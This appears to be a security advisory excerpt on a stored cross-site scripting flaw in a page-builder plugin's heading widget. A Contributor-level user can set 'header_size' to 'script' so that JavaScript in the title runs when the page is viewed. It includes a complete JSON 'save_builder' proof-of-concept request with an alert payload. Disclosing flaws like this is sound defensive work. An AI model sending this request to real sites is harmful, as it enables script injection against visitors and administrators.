In the plugin, the heading widget (includes/widgets/heading.php) accepts a ‘header_size’ parameter. Although the element control lists a fixed set of possible html tags, it is possible for a user with Contributor or above permissions to send a modified ‘save_builder’ request with this parameter set to ‘script’ and combined with a ‘title’ parameter containing JavaScript, which will then be executed when the saved page is viewed or previewed.
{"save_builder":{"action":"save_builder","data":{"status":"pending","elements":[{"id":"1d0d10f","elType":"section","isInner":false,"settings":{},"elements":[{"id":"3ce7394","elType":"column","isInner":false,"settings":{"_column_size":100,"_inline_size":null},"elements":[{"id":"a89487e","elType":"widget","isInner":false,"settings":{"title":"alert('headingpwned');","header_size":"script"},"elements":[],"widgetType":"heading"}]}]}],"settings":{"post_title":"headingpoc","post_status":"pending"}}}}